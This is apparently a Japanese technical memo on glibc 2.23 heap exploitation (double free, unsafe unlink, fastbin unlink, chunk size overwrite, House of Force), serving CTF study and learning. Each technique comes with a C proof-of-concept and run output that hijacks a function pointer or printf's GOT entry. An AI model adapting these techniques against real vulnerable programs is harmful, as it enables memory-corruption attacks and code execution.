malloc系exploitテクニックのうち、応用がしやすそうなもののメモ。
環境
Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23
$ uname -a Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
double free vulnerability and overlapping chunks
double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。
/* double_free.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char *p1 = malloc(0x80);
char *p2 = malloc(0xc0);
printf("p1 = %p\n", p1);
printf("p2 = %p\n", p2);
puts("\n[+] free p1 and p2");
free(p1);
free(p2);
puts("\n[+] allocate p3");
char *p3 = malloc(0x100);
printf("p3 = %p\n", p3);
puts("\n[+] p1 double free");
free(p1);
puts("\n[+] allocate p4");
char *p4 = malloc(0x140);
printf("p4 = %p\n", p4);
puts("\n[+] now p3 and p4 is overlapped");
memset(p3, 'A', 0x100);
memset(p4, 'B', 0x100);
printf("*p3 = %s\n", p3);
printf("*p4 = %s\n", p4);
return 0;
}
$ gcc double_free.c -o double_free $ ./double_free p1 = 0xd61010 p2 = 0xd610a0 [+] free p1 and p2 [+] allocate p3 p3 = 0xd61010 [+] p1 double free [+] allocate p4 p4 = 0xd61010 [+] now p3 and p4 is overlapped *p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB *p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
これを利用してheap上のchunk headerを書き換えることにより、以降で述べるような攻撃が可能になる。
allocate large chunks in heap segment
通常0x20000バイト(M_MMAP_THRESHOLD)以上のメモリをallocすると、その領域はmmapにより確保される。
しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。
/* large_chunks_in_heap.c */
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *p1 = malloc(0x100000);
printf("p1 = %p\n", p1);
puts("\n[+] free p1");
free(p1);
char *p2 = malloc(0x100000);
printf("p2 = %p\n", p2);
char *p3 = malloc(0x100000);
printf("p3 = %p\n", p3);
char *p4 = malloc(0x100000);
printf("p4 = %p\n", p4);
return 0;
}
$ gcc large_chunks_in_heap.c -o large_chunks_in_heap $ ./large_chunks_in_heap p1 = 0x7f6b7ccd2010 [+] free p1 p2 = 0x198a420 p3 = 0x1a8a430 p4 = 0x1b8a440
unsafe unlink attack
古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている(safe unlinking)。
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ /* <- here */
malloc_printerr (check_action, "corrupted double-linked list", P); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
assert (P->fd_nextsize->bk_nextsize == P); \
assert (P->bk_nextsize->fd_nextsize == P); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。
/* unsafe_unlink.c */
#include <stdio.h>
#include <stdlib.h>
void jackpot() { puts("jackpot!"); }
char *p;
int main()
{
printf("&p = %p\n", &p);
p = malloc(0x40);
char *p1 = malloc(0x80);
printf("p = %p\n", p);
printf("p1 = %p\n", p1);
printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
printf("p1->size = %p\n", *(void **)(p1-0x8));
puts("\n[+] abuse p overflow");
*(void **)(p+0x10) = (void *)&p-0x18;
*(void **)(p+0x18) = (void *)&p-0x10;
*(void **)(p+0x40) = 0x40;
*(void **)(p+0x48) = 0x90;
printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18);
printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10);
printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
printf("p1->size = %p\n", *(void **)(p1-0x8));
puts("\n[+] free p1 (p <- &p-0x18)");
free(p1);
printf("p = %p\n", p);
puts("\n[+] modify p and write *p");
*(void **)(p+0x18) = 0x601028; /* printf@got */
*(void **)p = jackpot;
printf("p = %p\n", p);
return 0;
}
$ gcc unsafe_unlink.c -o unsafe_unlink
unsafe_unlink.c: In function ‘main’:
unsafe_unlink.c:23:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p+0x40) = 0x40;
^
unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p+0x48) = 0x90;
^
unsafe_unlink.c:35:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p+0x18) = 0x601028; /* printf@got */
^
$ ./unsafe_unlink
&p = 0x601058
p = 0x11a2420
p1 = 0x11a2470
p1->prev_size = (nil)
p1->size = 0x91
[+] abuse p overflow
p->fd->bk = 0x601058
p->bk->fd = 0x601058
p1->prev_size = 0x40
p1->size = 0x90
[+] free p1 (p <- &p-0x18)
p = 0x601040
[+] modify p and write *p
jackpot!
fastbins unlink attack
通常0x40(64)バイト(M_MXFAST)以下のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。
さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->sizeが正しいかどうかのみとなる。
これを利用すると、書き換えたいアドレスの1ワード前をコントロールできる場合、次のようにして攻撃を行うことができる。
/* fastbins_unlink.c */
#include <stdio.h>
#include <stdlib.h>
void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }
void (*p)() = leave;
int main()
{
printf("&p = %p\n", &p);
char *p1 = malloc(0x20);
char *p2 = malloc(0x40);
printf("p1 = %p\n", p1);
printf("p2 = %p\n", p2);
puts("\n[+] free p2");
free(p2);
puts("\n[+] modify &p-0x8");
char *p_target = &p;
*(void **)(p_target-0x8) = 0x51;
printf("&p-0x8 = %p\n", *(void **)(p_target-0x8));
puts("\n[+] abuse p1 overflow");
*(void **)(p1+0x28) = 0x51;
*(void **)(p1+0x30) = p_target - 0x10;
printf("p2->size = %p\n", *(void **)(p2-0x8));
printf("p2->fd = %p\n", *(void **)(p2+0x0));
puts("\n[+] unlink p2");
char *p3 = malloc(0x40);
printf("p3 = %p\n", p3);
puts("\n[+] get target memory");
char *p4 = malloc(0x40);
printf("p4 = %p\n", p4);
*(void **)p4 = jackpot;
p();
return 0;
}
$ gcc fastbins_unlink.c -o fastbins_unlink
fastbins_unlink.c: In function ‘main’:
fastbins_unlink.c:21:22: warning: initialization from incompatible pointer type [-Wincompatible-pointer-types]
char *p_target = &p;
^
fastbins_unlink.c:22:30: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p_target-0x8) = 0x51;
^
fastbins_unlink.c:26:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p1+0x28) = 0x51;
^
$ ./fastbins_unlink
&p = 0x601050
p1 = 0x1013420
p2 = 0x1013450
[+] free p2
[+] modify &p-0x8
&p-0x8 = 0x51
[+] abuse p1 overflow
p2->size = 0x51
p2->fd = 0x601040
[+] unlink p2
p3 = 0x1013450
[+] get target memory
p4 = 0x601050
jackpot!
chunk size overwrite attack
隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性(CVE-2015-0235)のPoCにて利用された。
/* chunk_size_overwrite.c */
#include <stdio.h>
#include <stdlib.h>
void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }
int main()
{
char *p1 = malloc(0x80);
char *p2 = malloc(0x80);
void (**p3)() = malloc(sizeof(void *));
*p3 = leave;
printf("p1 = %p\n", p1);
printf("p2 = %p\n", p2);
printf("p3 = %p\n", p3);
printf("p2->size = %p\n", *(void **)(p2-0x8));
printf("*p3 = %p\n", *p3);
puts("\n[+] free p2");
free(p2);
puts("\n[+] abuse p1 overflow");
*(void **)(p1+0x88) = 0x1001;
printf("p2->size = %p\n", *(void **)(p2-0x8));
puts("\n[+] allocate a large chunk");
char *p4 = malloc(0x200);
printf("p4 = %p\n", p4);
puts("\n[+] overwrite *p3");
*(void **)(p4+0x90) = jackpot;
printf("*p3 = %p\n", *p3);
(*p3)();
return 0;
}
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite
chunk_size_overwrite.c: In function ‘main’:
chunk_size_overwrite.c:22:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p1+0x88) = 0x1001;
^
$ ./chunk_size_overwrite
p1 = 0x1349010
p2 = 0x13490a0
p3 = 0x1349130
p2->size = 0x91
*p3 = 0x4005f6
[+] free p2
[+] abuse p1 overflow
p2->size = 0x1001
[+] allocate a large chunk
p4 = 0x13490a0
[+] overwrite *p3
*p3 = 0x400607
jackpot!
House of Force attack
heap領域に並ぶchunkの一番最後(top chunk)のサイズを-1(0xFFFFFFFFFFFFFFFF)のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。
- top chunkのアドレスが推測可能
- top chunkのサイズを任意の値に書き換えられる
- その後任意のサイズのmallocを呼ぶことができる
/* house of force.c */
#include <stdio.h>
#include <stdlib.h>
void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }
int p_must_be_aligned_on_0x10_byte_boundaries = 0xdeadbeaf;
void (*p)() = leave;
int main()
{
printf("&p = %p\n", &p);
char *p1 = malloc(0x40);
char *top_chunk = p1+0x40;
printf("p1 = %p\n", p1);
printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));
puts("\n[+] abuse p1 overflow");
*(void **)(p1+0x48) = -1;
printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));
puts("\n[+] allocate a huge chunk");
unsigned long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10);
char *p2 = malloc(newsize);
puts("\n[+] get target memory");
char *p3 = malloc(0x80);
printf("p3 = %p\n", p3);
*(void **)p3 = jackpot;
p();
return 0;
}
$ gcc house_of_force.c -o house_of_force
house_of_force.c: In function ‘main’:
house_of_force.c:21:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
*(void **)(p1+0x48) = -1;
^
$ ./house_of_force
&p = 0x601050
p1 = 0x65b420
top chunk size = 0x20ba1
[+] abuse p1 overflow
top chunk size = 0xffffffffffffffff
[+] allocate a huge chunk
[+] get target memory
p3 = 0x601050
jackpot!
関連リンク
- shellphish/how2heap: A repository for learning various heap exploitation techniques.
- katagaitai CTF勉強会 #1 pwnables編 - DEFCON CTF 2014 pwn1 heap
- HITCON CTF Quals 2016 Writeup - ShiftCrops つれづれなる備忘録
- Advanced Heap Exploitation: 0CTF 2015 'freenote' writeup
- BCTF 2016 writeup - しゃろの日記
- Heap overflow using Malloc Maleficarum | sploitF-U-N
- gb_master's /dev/null – … and I said, "Hello, Satan. I believe it's time to go."